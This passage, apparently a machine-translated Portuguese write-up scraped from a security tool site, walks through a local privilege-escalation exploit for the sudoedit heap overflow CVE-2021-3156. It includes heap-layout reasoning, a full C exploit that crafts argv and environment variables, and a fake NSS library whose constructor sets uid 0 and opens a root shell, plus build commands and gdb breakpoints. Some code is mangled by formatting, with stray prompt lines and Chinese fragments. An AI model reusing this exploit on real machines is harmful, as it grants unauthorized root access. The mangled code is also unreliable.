A análise completa do princípio da alocação de heap termina por aqui. Pode-se compreender e ajustar de acordo com a situação real. No meu ambiente de depuração, o crucial é saber que a operação strdup é realizada com base nos valores das variáveis de ambiente inseridas e, no final, os vários chunks gerados pelo strdup são liberados de uma só vez. Essa é a operação chave. Se o ambiente for mais complicado, pode ser necessário usar operações que controlam o tamanho e a quantidade dos chunks liberados de acordo com a máscara.

Exploração de Vulnerabilidade na Prática

Voltando ao meu ambiente de depuração:

image-20220123134419470

Desejo colocar o vuln chunk antes do target chunk, ou seja, o chunk 7, sem destruir nenhum dos chunks 1,2,3,4,5,6

Então, a ideia para o layout do heap é:

  1. Como os chunks 1,2,4,6 são todos de tamanho 0x20, há muitas operações de alocação de chunks 0x20 durante a execução do programa, o que consumirá rapidamente a tcache de 0x20. Ou seja, quando a função nss_parse_file for executada, basicamente não haverá mais tcache de 0x20, e novas alocações só poderão ser feitas cortando do top chunk ou dos small/large/unsorted bin. Portanto, não é necessário se preocupar com eles.

  2. Focamos em como inserir um chunk de tamanho especial 0xX0 entre os chunks 3 e 5 e o chunk 7 (que não será consumido antes da alocação do vuln chunk). Aproximadamente como na figura:

    image-20220123134611280

  3. Como todos os chunks envolvidos no layout do heap são memória alocada por setlocale, e esses itens em setlocale são basicamente inúteis, mesmo que sejam sobrescritos, não causarão travamento. Portanto, não há problema se o vuln chunk e o target chunk não estiverem exatamente adjacentes.

  4. Portanto, nossa ideia final é alocar dois chunks de tamanho 0x40 em setlocale, depois alocar um chunk de tamanho 0xa0 (o chunk 0xX0 mencionado acima), e então alocar um chunk de 0x40. Eles serão liberados na ordem inversa e, na função nss_parse_file, serão alocados na mesma ordem. Além disso, na função nss_parse_file, a função getline alocará um chunk de 0x80 para "proteger" o chunk de 0xa0 que reservamos.

Em seguida, calculamos a distância entre o chunk removido e o chunk de estouro:

image-20220123114452223

0x5576b5ac7000-0x5576b5ac69b0=0x650

Podemos dividir o parâmetro de entrada, totalizando 0xa0, em duas partes: x \\ (cada um é uma string independente, ocupando 2 bytes) e um 'a' * y (y caracteres 'a' formam uma string, ocupando y+1 bytes). Então, 2x + y = 0xa0 - 0x10 (aqui subtraímos 0x10 porque nosso vuln chunk é de tamanho 0xa0, mas a alocação real precisa de 0x10 a menos). O comando final terá a forma:``` sudoedit -s \ \ \ ...(x个)... \ "aaaa...(y个)...aaa"

root@kitploit:~
Calcular x, y tal que:```
(x+y)+(x+y)+(x+y+1)+(x+y-2)+... ...+(y+1) 刚好 < 0x650 
2x+y = 0xa0-0x10

O princípio da primeira equação é que, como a entrada possui vários \\, cada cópia resulta em estouro (overflow), e cada estouro é 1 byte menor que o anterior, portanto, a soma de uma progressão aritmética. Simplificando, obtemos:``` (x+y)+(x+2y+1)·x/2=0x650 2x+y = 0x90

root@kitploit:~
Do meu lado, a solução é:```
x=11
y=121

Finalmente, o comprimento que pode ser ultrapassado pelo parâmetro sudoedit é 0x5f9, e o restante pode ser preenchido com \\ nas variáveis de ambiente. As variáveis de ambiente são copiadas apenas uma vez. Ao sobrescrever a estrutura, observe que a string do nome do so está no deslocamento 0x30 da estrutura, e os elementos da estrutura antes da string devem ser sobrescritos com \x00. (Esta parte não será detalhada, não há muito valor técnico em como construir um payload de comprimento de estouro adequado; aqui estou principalmente fornecendo uma maneira genérica de cálculo rápido.)

Em seguida, compile a biblioteca so falsificada. Aqui, a função compilada diretamente com a macro attribute será executada automaticamente quando o binário for carregado, ou seja, uma função construtora. O exploit é o seguinte:

exp

No meu ambiente de depuração, o exploit é o seguinte:```c #include<stdio.h> #include<string.h> #include<stdlib.h> #include<math.h>

#define __LC_CTYPE 0 #define __LC_NUMERIC 1 #define __LC_TIME 2 #define __LC_COLLATE 3 #define __LC_MONETARY 4 #define __LC_MESSAGES 5 #define __LC_ALL 6 #define __LC_PAPER 7 #define __LC_NAME 8 #define __LC_ADDRESS 9 #define __LC_TELEPHONE 10 #define __LC_MEASUREMENT 11 #define __LC_IDENTIFICATION 12

char * envName[13]={"LC_CTYPE","LC_NUMERIC","LC_TIME","LC_COLLATE","LC_MONETARY","LC_MESSAGES","LC_ALL","LC_PAPER","LC_NAME","LC_ADDRESS","LC_TELE PHONE","LC_MEASUREMENT","LC_IDENTIFICATION"};

int now=13; int envnow=0; int argvnow=0; char * envp[0x300]; char * argv[0x300]; char * addChunk(int size) { now --; char * result; if(now ==6) { now --; } if(now>=0) { result=malloc(size+0x20); strcpy(result,envName[now]); strcat(result,"=C.UTF-8@"); for(int i=9;i<=size-0x17;i++) strcat(result,"A"); envp[envnow++]=result; } return result; }

void final() { now --; char * result; if(now ==6) { now --; } if(now>=0) { result=malloc(0x100); strcpy(result,envName[now]); strcat(result,"=xxxxxxxxxxxxxxxxxxxxx"); envp[envnow++]=result; } }

int setargv(int size,int offset) { size-=0x10; signed int x,y; signed int a=-3; signed int b=2size-3; signed int c=2size-2-offset2; signed int tmp=bb-4ac; if(tmp<0) return -1; tmp=(signed int)sqrt((double)tmp1.0); signed int A=(0-b+tmp)/(2a); signed int B=(0-b-tmp)/(2a); if(A<0 && B<0) return -1; if((A>0 && B<0) || (A<0 && B>0)) x=(A>0) ? A: B; if(A>0 && B > 0) x=(A<B) ? A : B; y=size-1-x2; int len=x+y+(x+y+y+1)*x/2;

root@kitploit:~
while ((signed int)(offset-len)<2)
{
    x--;
    y=size-1-x*2;
    len=x+y+(x+y+1)*x/2;
    if(x<0)
        return -1;
}
int envoff=offset-len-2+0x30;
printf("%d,%d,%d\n",x,y,len);
char * Astring=malloc(size);
int i=0;
for(i=0;i<y;i++)
    Astring[i]='A';
Astring[i]='\x00';

argv[argvnow++]="sudoedit";
argv[argvnow++]="-s";
for (i=0;i<x;i++)
    argv[argvnow++]="\\";
argv[argvnow++]=Astring;
argv[argvnow++]="\\";
argv[argvnow++]=NULL;
for(i=0;i<envoff;i++)
    envp[envnow++]="\\";
envp[envnow++]="X/test";
return 0;

}

int main() { setargv(0xa0,0x650); addChunk(0x40); addChunk(0x40); addChunk(0xa0); addChunk(0x40); final();

root@kitploit:~
execve("/usr/local/bin/sudoedit",argv,envp);

}

root@kitploit:~
lib.c da seguinte forma:```c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static void __attribute__ ((constructor)) _init(void);

static void _init(void) {
        printf("[+] bl1ng bl1ng! We got it!\n");
#ifndef BRUTE
        setuid(0); seteuid(0); setgid(0); setegid(0);
        static char *a_argv[] = { "sh", NULL };
        static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
        execv("/bin/sh", a_argv);
#endif
}

Comando de compilação:```sh mkdir libnss_X gcc -fPIC -shared lib.c -o ./libnss_X/test.so.2 gcc exp.c -o exp

root@kitploit:~
Sucesso:

image-20220123115529219

### Método para modificar o exp para ambientes específicos

Principalmente para facilitar a própria pesquisa e depuração, não para ataques reais. Para ataques reais, ainda é recomendado usar força bruta. É necessário conhecer os seguintes pontos de acordo com o ambiente:

1. Tamanho controlável da vuln, ou seja, o free tcache deixado em setlocale, que não será consumido antes da solicitação da vuln. É necessário encontrar um tamanho adequado (correspondente a 0xa0 no meu exp).
2. Onde o vuln precisa ser posicionado, ou seja, quantos chunks de 0x40 existem antes do chunk vuln e quantos depois (correspondente às várias funções addChunk na função main do meu exp).
3. Distância do target chunk ao vuln chunk, ou seja, target chunk addr - vuln chunk addr (correspondente a 0x650 no meu exp).

Modificando os três pontos acima, basicamente há uma grande probabilidade de sucesso direto.

## Fatores que afetam a exploração da vulnerabilidade

Há muitos fatores que afetam o layout da heap. Para a mesma versão do sudo, diferentes opções de compilação podem alterar o layout da heap (se houver adição ou remoção de funções de alocação de heap antes do estouro, há uma grande probabilidade de alterar o layout da heap).

O layout da heap do sudo da distribuição e da versão compilada por você mesmo são diferentes.

Diferenças no arquivo de configuração global do sudo também afetam.

Arquivos comuns como passwd também afetam.

Diferenças no arquivo nsswitch.conf afetam.

Versão do glibc

Outros ambientes globais (ou arquivos de ambiente)

## Medidas de mitigação

Atualize para a versão mais recente.

## Alguns comandos de depuração```
watch rwatch awatch 内存断点
catch exec
set follow-exec-mode new 调试exp 的时候捕获子进程

Visualizar a estrutura service_table``` p service_table p * service_table p * service_table -> entry p * service_table -> entry -> next p * service_table -> entry -> next -> service ···

root@kitploit:~
Verifique a função nss chamada mais cedo após o estouro de heap, primeiro interrompa no ponto de estouro:```
b policy_check  #先断离溢出点比较近的位置,直接断溢出点找不到
c
b sudoers.c:849 #malloc前
b sudoers.c:859 #溢出chunk 刚申请完毕
b sudoers.c:867 #溢出完成
c #断住之后再断nss_load_library
b nss_load_library 
c #断nss_load_library
bt #查看调用栈

algumas funções-chave e código de saída``` directory /root/glibc-2.27/ directory /root/glibc-2.27/nss/ directory /root/glibc-2.27/elf/ directory /root/glibc-2.27/locale/

b setlocale b nss_parse_file b nss_load_library

root@kitploit:~
## Referências

Blog de um especialista interno da empresa

52破解博客: https://www.52pojie.cn/thread-1439734-1-1.html

blasty's POC: https://github.com/blasty/CVE-2021-3156
Baixar ferramenta